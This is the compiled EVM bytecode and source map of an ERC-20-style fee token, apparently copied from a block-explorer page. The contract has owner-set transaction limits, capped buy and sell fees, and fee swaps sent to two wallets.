0x608060405260043610610129575f3560e01c806370a08231116100a8578063a8aa1b311161006d578063a8aa1b3114610364578063a9059cbb14610383578063cb7f97d7146103a2578063ced24c0e146103c1578063dd62ed3e146103d6578063f2fde38b1461041a575f80fd5b806370a08231146102a1578063715018a6146102d5578063893d20e8146102e957806395d89b41146103195780639cc3535114610345575f80fd5b80632f54bf6e116100ee5780632f54bf6e14610201578063309365971461022e578063313ce5671461024357806333cdacd91461025e5780633f4218e014610273575f80fd5b806306fdde0314610134578063095ea7b31461017b57806318160ddd146101aa57806323b872dd146101cc578063293230b8146101eb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c119b1d5e08141c9bdd1bd8dbdb609a1b60208201525b60405161017291906114eb565b60405180910390f35b348015610186575f80fd5b5061019a61019536600461154d565b610439565b6040519015158152602001610172565b3480156101b5575f80fd5b506101be61044f565b604051908152602001610172565b3480156101d7575f80fd5b5061019a6101e6366004611577565b6104bf565b3480156101f6575f80fd5b506101ff610527565b005b34801561020c575f80fd5b5061019a61021b3660046115b5565b5f546001600160a01b0391821691161490565b348015610239575f80fd5b506101be60125481565b34801561024e575f80fd5b5060405160098152602001610172565b348015610269575f80fd5b506101be60115481565b34801561027e575f80fd5b5061019a61028d3660046115b5565b60196020525f908152604090205460ff1681565b3480156102ac575f80fd5b506101be6102bb3660046115b5565b6001600160a01b03165f9081526017602052604090205490565b3480156102e0575f80fd5b506101ff61056e565b3480156102f4575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610172565b348015610324575f80fd5b5060408051808201909152600481526308c98aab60e31b6020820152610165565b348015610350575f80fd5b506101ff61035f3660046115d0565b6105db565b34801561036f575f80fd5b50600354610301906001600160a01b031681565b34801561038e575f80fd5b5061019a61039d36600461154d565b610717565b3480156103ad575f80fd5b506101ff6103bc3660046115f9565b610723565b3480156103cc575f80fd5b506101be60105481565b3480156103e1575f80fd5b506101be6103f0366004611640565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610425575f80fd5b506101ff6104343660046115b5565b610819565b5f610445338484610895565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104ba9290916104b491906109b8565b906109b8565b905090565b5f6104cb8484846109c3565b61051c8433610517856040518060600160405280602881526020016117d1602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610f02565b610895565b5060015b9392505050565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161055090611677565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105975760405162461bcd60e51b815260040161055090611677565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106045760405162461bcd60e51b815260040161055090611677565b5f61062661271061062086600154610f2d90919063ffffffff16565b90610f38565b90505f61064461271061062086600154610f2d90919063ffffffff16565b90505f61066261271061062086600154610f2d90919063ffffffff16565b60108490556011839055601281905590505f61068d6103e8610620600561068761044f565b90610f2d565b905080841015801561069f5750808310155b80156106ab5750808210155b61070e5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610550565b50505050505050565b5f6104453384846109c3565b5f546001600160a01b0316331461074c5760405162461bcd60e51b815260040161055090611677565b6009879055600a869055600c859055600b84905560138390556014829055601581905560165461077d906001610f38565b6013541115801561079d5750601654610797906001610f38565b60145411155b80156107b857506016546107b2906001610f38565b60155411155b61070e5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610550565b5f546001600160a01b031633146108425760405162461bcd60e51b815260040161055090611677565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610550565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610550565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61052082846116ab565b6001600160a01b038316610a275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610550565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610550565b6001600160a01b0383165f90815260176020526040902054811115610b0a5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610550565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4a57506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9757600354600160a01b900460ff16610b975760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610550565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd757506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bf157506003546001600160a01b03838116911614155b8015610c0857506001600160a01b03821661dead14155b15610c80576012546001600160a01b0383165f90815260176020526040902054610c329083610f43565b1115610c805760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610550565b6003546001600160a01b03848116911614610d1f5760115481111580610cbd57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdf57506001600160a01b0382165f9081526019602052604090205460ff165b610d1f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b60105481111580610d4757506001600160a01b0383165f9081526019602052604090205460ff165b80610d6957506001600160a01b0382165f9081526019602052604090205460ff165b610da95760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b6003546001600160a01b038381169116148015610dde57506001600160a01b0383165f9081526019602052604090205460ff16155b15610dfb57600160045f828254610df591906116be565b90915550505b610e06838383610f4e565b15610e1b57610e16600754611006565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3d90826109b8565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e715781610e7c565b610e7c848484611176565b6001600160a01b0384165f90815260176020526040902054909150610ea19082610f43565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef49085815260200190565b60405180910390a350505050565b5f8184841115610f255760405162461bcd60e51b815260040161055091906114eb565b505050900390565b5f61052082846116d1565b5f61052082846116e8565b5f61052082846116be565b600854600754305f9081526017602052604081205460055491938510159211159060ff16158015610f885750600354600160a81b900460ff165b8015610f9d5750600354600160a01b900460ff165b8015610fa65750815b8015610fca57506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe357506003546001600160a01b038681169116145b8015610ff3575060065460045410155b8015610ffc5750805b9695505050505050565b6005805460ff19166001908117909155600b54600a546009545f9361103f93600293610687939192611039928391610f43565b90610f43565b90505f61105b8261062060095486610f2d90919063ffffffff16565b90505f61106884836109b8565b905047611074826112a0565b5f61107f47836109b8565b90505f6110a161109a600954886109b890919063ffffffff16565b8390610f38565b90505f6110b960095483610f2d90919063ffffffff16565b905080156110cb576110cb86826113f0565b600a545f906110df90610687856002610f2d565b9050801561112057600e546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111e573d5f803e3d5ffd5b505b47801561116057600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115e573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119f5750601054610520565b5f6111aa85856114a1565b1115611299575f6111cc6111be86866114a1565b601654610687908690610f38565b305f908152601760205260409020549091506111e89082610f43565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112389085815260200190565b60405180910390a35f600c5411801561125b5750600c5461125986866114a1565b115b15611287576112873061dead611282600c5461068760165489610f3890919063ffffffff16565b6109c3565b61129183826109b8565b915050610520565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d3576112d3611707565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134e919061171b565b8160018151811061136157611361611707565b6001600160a01b0392831660209182029290920101526002546113879130911684610895565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bf9085905f90869030904290600401611736565b5f604051808303815f87803b1580156113d6575f80fd5b505af11580156113e8573d5f803e3d5ffd5b505050505050565b6002546114089030906001600160a01b031684610895565b600254600f5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611475573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149a91906117a5565b5050505050565b6003545f906001600160a01b03908116908316036114c25750601454610449565b6003546001600160a01b03908116908416036114e15750601354610449565b5060155492915050565b5f6020808352835180828501525f5b81811015611516578581018301518582016040015282016114fa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154a575f80fd5b50565b5f806040838503121561155e575f80fd5b823561156981611536565b946020939093013593505050565b5f805f60608486031215611589575f80fd5b833561159481611536565b925060208401356115a481611536565b929592945050506040919091013590565b5f602082840312156115c5575f80fd5b813561052081611536565b5f805f606084860312156115e2575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160f575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611651575f80fd5b823561165c81611536565b9150602083013561166c81611536565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044957610449611697565b8082018082111561044957610449611697565b808202811582820484141761044957610449611697565b5f8261170257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561172b575f80fd5b815161052081611536565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117845784516001600160a01b03168352938301939183019160010161175f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b7575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab558df360fffcbfba2fcdaee58d24558fd73930d0effef8e07245d005f256e064736f6c63430008150033

Deployed Bytecode Sourcemap

3731:9593:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6028:67;;;;;;;;;;-1:-1:-1;6088:5:0;;;;;;;;;;;;-1:-1:-1;;;6088:5:0;;;;6028:67;;;;;;;:::i;:::-;;;;;;;;6842:133;;;;;;;;;;-1:-1:-1;6842:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6842:133:0;1023:187:1;6505:127:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6505:127:0;1215:177:1;10160:309:0;;;;;;;;;;-1:-1:-1;10160:309:0;;;;;:::i;:::-;;:::i;6638:65::-;;;;;;;;;;;;;:::i;:::-;;428:87;;;;;;;;;;-1:-1:-1;428:87:0;;;;;:::i;:::-;483:4;508:5;-1:-1:-1;;;;;497:16:0;;;508:5;;497:16;;428:87;5022:53;;;;;;;;;;;;;;;;6178:67;;;;;;;;;;-1:-1:-1;6178:67:0;;3958:1;2252:36:1;;2240:2;2225:18;6178:67:0;2110:184:1;4962:53:0;;;;;;;;;;;;;;;;5369:44;;;;;;;;;;-1:-1:-1;5369:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6251:103;;;;;;;;;;-1:-1:-1;6251:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6334:18:0;6317:7;6334:18;;;:9;:18;;;;;;;6251:103;638:106;;;;;;;;;;;;;:::i;6981:78::-;;;;;;;;;;-1:-1:-1;7033:7:0;7051:5;-1:-1:-1;;;;;7051:5:0;6981:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6981:78:0;2299:203:1;6101:71:0;;;;;;;;;;-1:-1:-1;6163:7:0;;;;;;;;;;;;-1:-1:-1;;;6163:7:0;;;;6101:71;;7408:529;;;;;;;;;;-1:-1:-1;7408:529:0;;;;;:::i;:::-;;:::i;4050:19::-;;;;;;;;;;-1:-1:-1;4050:19:0;;;;-1:-1:-1;;;;;4050:19:0;;;6360:139;;;;;;;;;;-1:-1:-1;6360:139:0;;;;;:::i;:::-;;:::i;9401:524::-;;;;;;;;;;-1:-1:-1;9401:524:0;;;;;:::i;:::-;;:::i;4903:52::-;;;;;;;;;;;;;;;;6709:127;;;;;;;;;;-1:-1:-1;6709:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6807:18:0;;;6790:7;6807:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6709:127;521:111;;;;;;;;;;-1:-1:-1;521:111:0;;;;;:::i;:::-;;:::i;6842:133::-;6917:4;6924:37;6933:10;6945:7;6954:6;6924:8;:37::i;:::-;-1:-1:-1;6969:4:0;6842:133;;;;;:::o;6505:127::-;6334:9;:18;;;;4624:42;6558:7;6334:18;;;;;6575:7;;6558;;6575:55;;6334:18;;6575:28;;:7;:11;:28::i;:::-;:32;;:55::i;:::-;6568:62;;6505:127;:::o;10160:309::-;10258:4;10275:36;10285:6;10293:9;10304:6;10275:9;:36::i;:::-;10322:117;10331:6;10339:10;10351:87;10387:6;10351:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10351:19:0;;;;;;:11;:19;;;;;;;;10371:10;10351:31;;;;;;;;;:87;:35;:87::i;:::-;10322:8;:117::i;:::-;-1:-1:-1;10457:4:0;10160:309;;;;;;:::o;6638:65::-;483:4;508:5;-1:-1:-1;;;;;508:5:0;395:10;497:16;379:38;;;;-1:-1:-1;;;379:38:0;;;;;;;:::i;:::-;;;;;;;;;6682:12:::1;:19:::0;;-1:-1:-1;;;;6682:19:0::1;-1:-1:-1::0;;;6682:19:0::1;::::0;;6638:65::o;638:106::-;483:4;508:5;-1:-1:-1;;;;;508:5:0;395:10;497:16;379:38;;;;-1:-1:-1;;;379:38:0;;;;;;;:::i;:::-;701:1:::1;685:18:::0;;-1:-1:-1;;;;;;685:18:0::1;::::0;;710:32:::1;::::0;2445:51:1;;;710:32:0::1;::::0;2433:2:1;2418:18;710:32:0::1;;;;;;;638:106::o:0;7408:529::-;483:4;508:5;-1:-1:-1;;;;;508:5:0;395:10;497:16;379:38;;;;-1:-1:-1;;;379:38:0;;;;;;;:::i;:::-;7514:13:::1;7530:28;7552:5;7530:17;7542:4;7530:7;;:11;;:17;;;;:::i;:::-;:21:::0;::::1;:28::i;:::-;7514:44;;7560:19;7582:29;7605:5;7582:18;7594:5;7582:7;;:11;;:18;;;;:::i;:29::-;7560:51;;7613:17;7633:31;7658:5;7633:20;7645:7;7633;;:11;;:20;;;;:::i;:31::-;7675:9;:17:::0;;;7694:10:::1;:24:::0;;;7720:10:::1;:22:::0;;;7613:51;-1:-1:-1;;7769:30:0::1;7794:4;7769:20;7787:1;7769:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;7753:46;;7827:5;7818;:14;;:38;;;;;7851:5;7836:11;:20;;7818:38;:60;;;;;7873:5;7860:9;:18;;7818:60;7810:119;;;::::0;-1:-1:-1;;;7810:119:0;;4614:2:1;7810:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;7810:119:0::1;4412:410:1::0;7810:119:0::1;7503:434;;;;7408:529:::0;;;:::o;6360:139::-;6438:4;6445:40;6455:10;6467:9;6478:6;6445:9;:40::i;9401:524::-;483:4;508:5;-1:-1:-1;;;;;508:5:0;395:10;497:16;379:38;;;;-1:-1:-1;;;379:38:0;;;;;;;:::i;:::-;9591:12:::1;:25:::0;;;9618:12:::1;:25:::0;;;9645:7:::1;:15:::0;;;9662:14:::1;:29:::0;;;9693:8:::1;:17:::0;;;9712:7:::1;:15:::0;;;9729:11:::1;:20:::0;;;9780:11:::1;::::0;:18:::1;::::0;-1:-1:-1;9780:15:0::1;:18::i;:::-;9768:8;;:30;;:63;;;;-1:-1:-1::0;9813:11:0::1;::::0;:18:::1;::::0;9829:1:::1;9813:15;:18::i;:::-;9802:7;;:29;;9768:63;:100;;;;-1:-1:-1::0;9850:11:0::1;::::0;:18:::1;::::0;9866:1:::1;9850:15;:18::i;:::-;9835:11;;:33;;9768:100;9760:157;;;::::0;-1:-1:-1;;;9760:157:0;;5029:2:1;9760:157:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:42;5210:19;;9760:157:0::1;4827:408:1::0;521:111:0;483:4;508:5;-1:-1:-1;;;;;508:5:0;395:10;497:16;379:38;;;;-1:-1:-1;;;379:38:0;;;;;;;:::i;:::-;587:5:::1;:11:::0;;-1:-1:-1;;;;;;587:11:0::1;-1:-1:-1::0;;;;;587:11:0;::::1;::::0;;::::1;::::0;;;605:25:::1;::::0;2445:51:1;;;605:25:0::1;::::0;2433:2:1;2418:18;605:25:0::1;;;;;;;521:111:::0;:::o;7065:335::-;-1:-1:-1;;;;;7158:19:0;;7150:68;;;;-1:-1:-1;;;7150:68:0;;5658:2:1;7150:68:0;;;5640:21:1;5697:2;5677:18;;;5670:30;5736:34;5716:18;;;5709:62;-1:-1:-1;;;5787:18:1;;;5780:34;5831:19;;7150:68:0;5456:400:1;7150:68:0;-1:-1:-1;;;;;7237:21:0;;7229:68;;;;-1:-1:-1;;;7229:68:0;;6063:2:1;7229:68:0;;;6045:21:1;6102:2;6082:18;;;6075:30;6141:34;6121:18;;;6114:62;-1:-1:-1;;;6192:18:1;;;6185:32;6234:19;;7229:68:0;5861:398:1;7229:68:0;-1:-1:-1;;;;;7308:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7360:32;;1361:25:1;;;7360:32:0;;1334:18:1;7360:32:0;;;;;;;7065:335;;;:::o;1841:98::-;1899:7;1926:5;1930:1;1926;:5;:::i;10477:1407::-;-1:-1:-1;;;;;10574:20:0;;10566:70;;;;-1:-1:-1;;;10566:70:0;;6731:2:1;10566:70:0;;;6713:21:1;6770:2;6750:18;;;6743:30;6809:34;6789:18;;;6782:62;-1:-1:-1;;;6860:18:1;;;6853:35;6905:19;;10566:70:0;6529:401:1;10566:70:0;-1:-1:-1;;;;;10655:23:0;;10647:71;;;;-1:-1:-1;;;10647:71:0;;7137:2:1;10647:71:0;;;7119:21:1;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:33;7309:19;;10647:71:0;6935:399:1;10647:71:0;-1:-1:-1;;;;;6334:18:0;;6317:7;6334:18;;;:9;:18;;;;;;10737:6;:27;;10729:88;;;;-1:-1:-1;;;10729:88:0;;7541:2:1;10729:88:0;;;7523:21:1;7580:2;7560:18;;;7553:30;7619:34;7599:18;;;7592:62;-1:-1:-1;;;7670:18:1;;;7663:47;7727:19;;10729:88:0;7339:413:1;10729:88:0;-1:-1:-1;;;;;10832:19:0;;;;;;:11;:19;;;;;;;;10831:20;:47;;;;-1:-1:-1;;;;;;10856:22:0;;;;;;:11;:22;;;;;;;;10855:23;10831:47;10828:91;;;10888:12;;-1:-1:-1;;;10888:12:0;;;;10880:37;;;;-1:-1:-1;;;10880:37:0;;7959:2:1;10880:37:0;;;7941:21:1;7998:2;7978:18;;;7971:30;-1:-1:-1;;;8017:18:1;;;8010:42;8069:18;;10880:37:0;7757:336:1;10880:37:0;-1:-1:-1;;;;;10933:19:0;;;;;;:11;:19;;;;;;;;10932:20;:47;;;;-1:-1:-1;;;;;;10957:22:0;;;;;;:11;:22;;;;;;;;10956:23;10932:47;:77;;;;-1:-1:-1;11004:4:0;;-1:-1:-1;;;;;10983:26:0;;;11004:4;;10983:26;;10932:77;:107;;;;-1:-1:-1;;;;;;11013:26:0;;4624:42;11013:26;;10932:107;10929:215;;;11097:10;;-1:-1:-1;;;;;11060:20:0;;;;;;:9;:20;;;;;;:32;;11085:6;11060:24;:32::i;:::-;11059:48;;11051:91;;;;-1:-1:-1;;;11051:91:0;;8300:2:1;11051:91:0;;;8282:21:1;8339:2;8319:18;;;8312:30;8378:32;8358:18;;;8351:60;8428:18;;11051:91:0;8098:354:1;11051:91:0;11167:4;;-1:-1:-1;;;;;11157:14:0;;;11167:4;;11157:14;11154:120;;11191:10;;11181:6;:20;;:43;;;-1:-1:-1;;;;;;11205:19:0;;;;;;:11;:19;;;;;;;;11181:43;:69;;;-1:-1:-1;;;;;;11228:22:0;;;;;;:11;:22;;;;;;;;11181:69;11173:99;;;;-1:-1:-1;;;11173:99:0;;8659:2:1;11173:99:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;11173:99:0;8457:341:1;11173:99:0;11302:9;;11292:6;:19;;:42;;;-1:-1:-1;;;;;;11315:19:0;;;;;;:11;:19;;;;;;;;11292:42;:68;;;-1:-1:-1;;;;;;11338:22:0;;;;;;:11;:22;;;;;;;;11292:68;11284:98;;;;-1:-1:-1;;;11284:98:0;;8659:2:1;11284:98:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;11284:98:0;8457:341:1;11284:98:0;11410:4;;-1:-1:-1;;;;;11397:17:0;;;11410:4;;11397:17;:41;;;;-1:-1:-1;;;;;;11419:19:0;;;;;;:11;:19;;;;;;;;11418:20;11397:41;11394:71;;;11461:1;11440:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11394:71:0;11478:41;11493:6;11501:9;11512:6;11478:14;:41::i;:::-;11475:107;;;11521:35;11539:16;;11521:17;:35::i;:::-;11578:1;11558:9;:22;11475:107;-1:-1:-1;;;;;11612:17:0;;;;;;:9;:17;;;;;;:29;;11634:6;11612:21;:29::i;:::-;-1:-1:-1;;;;;11592:17:0;;;;;;:9;:17;;;;;;;;:49;;;;11678:11;:19;;;;;;;;11677:20;:66;;11737:6;11677:66;;;11700:34;11708:6;11716:9;11727:6;11700:7;:34::i;:::-;-1:-1:-1;;;;;11777:20:0;;;;;;:9;:20;;;;;;11652:91;;-1:-1:-1;11777:40:0;;11652:91;11777:24;:40::i;:::-;-1:-1:-1;;;;;11754:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11833:43;;;;;;;;;;11861:14;1361:25:1;;1349:2;1334:18;;1215:177;11833:43:0;;;;;;;;10555:1329;10477:1407;;;:::o;2257:240::-;2377:7;2438:12;2430:6;;;;2422:29;;;;-1:-1:-1;;;2422:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2473:5:0;;;2257:240::o;1945:98::-;2003:7;2030:5;2034:1;2030;:5;:::i;2049:98::-;2107:7;2134:5;2138:1;2134;:5;:::i;1737:98::-;1795:7;1822:5;1826:1;1822;:5;:::i;8993:400::-;9134:15;;9210:16;;9200:4;9091;6334:18;;;:9;:18;;;;;;9245:8;;9091:4;;9124:25;;;;-1:-1:-1;9182:44:0;;9245:8;;9244:9;:24;;;;-1:-1:-1;9257:11:0;;-1:-1:-1;;;9257:11:0;;;;9244:24;:40;;;;-1:-1:-1;9272:12:0;;-1:-1:-1;;;9272:12:0;;;;9244:40;:52;;;;;9288:8;9244:52;:76;;;;-1:-1:-1;;;;;;9301:19:0;;;;;;:11;:19;;;;;;;;9300:20;9244:76;:97;;;;-1:-1:-1;9337:4:0;;-1:-1:-1;;;;;9324:17:0;;;9337:4;;9324:17;9244:97;:123;;;;;9358:9;;9345;;:22;;9244:123;:141;;;;;9371:14;9244:141;9237:148;8993:400;-1:-1:-1;;;;;;8993:400:0:o;7945:1040::-;4392:8;:15;;-1:-1:-1;;4392:15:0;4403:4;4392:15;;;;;;8082:14:::1;::::0;8064:12:::1;::::0;8040::::1;::::0;4392:8;;8039:66:::1;::::0;8103:1:::1;::::0;8040:57:::1;::::0;8082:14;;8040:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;8039:66::-;8016:89;;8116:32;8151:42;8180:12;8151:24;8162:12;;8151:6;:10;;:24;;;;:::i;:42::-;8116:77:::0;-1:-1:-1;8204:14:0::1;8221:36;:6:::0;8116:77;8221:10:::1;:36::i;:::-;8204:53:::0;-1:-1:-1;8293:21:0::1;8325:24;8204:53:::0;8325:16:::1;:24::i;:::-;8360:20;8383:41;:21;8409:14:::0;8383:25:::1;:41::i;:::-;8360:64;;8435:19;8456:48;8473:30;8490:12;;8473;:16;;:30;;;;:::i;:::-;8456:12:::0;;:16:::1;:48::i;:::-;8435:69;;8515:29;8547;8563:12;;8547:11;:15;;:29;;;;:::i;:::-;8515:61:::0;-1:-1:-1;8590:34:0;;8587:103:::1;;8626:61;8639:24;8665:21;8626:12;:61::i;:::-;8746:12;::::0;8700:20:::1;::::0;8723:36:::1;::::0;:18:::1;:11:::0;8739:1:::1;8723:15;:18::i;:36::-;8700:59:::0;-1:-1:-1;8773:16:0;;8770:63:::1;;8799:8;::::0;8791:40:::1;::::0;-1:-1:-1;;;;;8799:8:0;;::::1;::::0;8791:40;::::1;;;::::0;8818:12;;8799:8:::1;8791:40:::0;8799:8;8791:40;8818:12;8799:8;8791:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8770:63;8869:21;8904:28:::0;;8901:77:::1;;8942:7;::::0;8934:42:::1;::::0;-1:-1:-1;;;;;8942:7:0;;::::1;::::0;8934:42;::::1;;;::::0;8960:15;;8942:7:::1;8934:42:::0;8942:7;8934:42;8960:15;8942:7;8934:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8901:77;-1:-1:-1::0;;4412:8:0;:16;;-1:-1:-1;;4412:16:0;;;-1:-1:-1;;;;;;;;7945:1040:0:o;12232:647::-;-1:-1:-1;;;;;12342:22:0;;12318:7;12342:22;;;:11;:22;;;;;;;;12338:47;;;-1:-1:-1;12374:9:0;;12367:16;;12338:47;12431:1;12398:30;12410:6;12418:9;12398:11;:30::i;:::-;:34;12395:462;;;12444:17;12464:59;12492:30;12504:6;12512:9;12492:11;:30::i;:::-;12475:11;;12464:23;;:6;;:10;:23::i;:59::-;12579:4;12561:24;;;;:9;:24;;;;;;12444:79;;-1:-1:-1;12561:39:0;;12444:79;12561:28;:39::i;:::-;12552:4;12534:24;;;;:9;:24;;;;;;;:66;;;;12616:42;;-1:-1:-1;;;;;12616:42:0;;;;;;;12648:9;1361:25:1;;1349:2;1334:18;;1215:177;12616:42:0;;;;;;;;12690:1;12672:7;;:20;:64;;;;;12729:7;;12696:30;12708:6;12716:9;12696:11;:30::i;:::-;:40;12672:64;12669:148;;;12738:77;12756:4;4624:42;12778:36;12806:7;;12778:23;12789:11;;12778:6;:10;;:23;;;;:::i;:36::-;12738:9;:77::i;:::-;12834:21;:6;12845:9;12834:10;:21::i;:::-;12827:28;;;;;12395:462;-1:-1:-1;12865:6:0;12232:647;-1:-1:-1;;12232:647:0:o;12887:434::-;12977:16;;;12991:1;12977:16;;;;;;;;12953:21;;12977:16;;;;;;;;;;-1:-1:-1;12977:16:0;12953:40;;13022:4;13004;13009:1;13004:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13004:23:0;;;:7;;;;;;;;;;:23;;;;13048:6;;:13;;;-1:-1:-1;;;13048:13:0;;;;:6;;;;;:11;;:13;;;;;13004:7;;13048:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13038:4;13043:1;13038:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13038:23:0;;;:7;;;;;;;;;:23;13104:6;;13072:53;;13089:4;;13104:6;13113:11;13072:8;:53::i;:::-;13136:6;;:177;;-1:-1:-1;;;13136:177:0;;-1:-1:-1;;;;;13136:6:0;;;;:57;;:177;;13208:11;;13136:6;;13250:4;;13277;;13297:15;;13136:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12942:379;12887:434;:::o;11892:332::-;12005:6;;11973:53;;11990:4;;-1:-1:-1;;;;;12005:6:0;12014:11;11973:8;:53::i;:::-;12037:6;;12178:7;;12037:179;;-1:-1:-1;;;12037:179:0;;12100:4;12037:179;;;11174:34:1;11224:18;;;11217:34;;;12037:6:0;11267:18:1;;;11260:34;;;11310:18;;;11303:34;-1:-1:-1;;;;;12178:7:0;;;11353:19:1;;;11346:44;12200:15:0;11406:19:1;;;11399:35;12037:6:0;;;:22;;12067:9;;11108:19:1;;12037:179:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;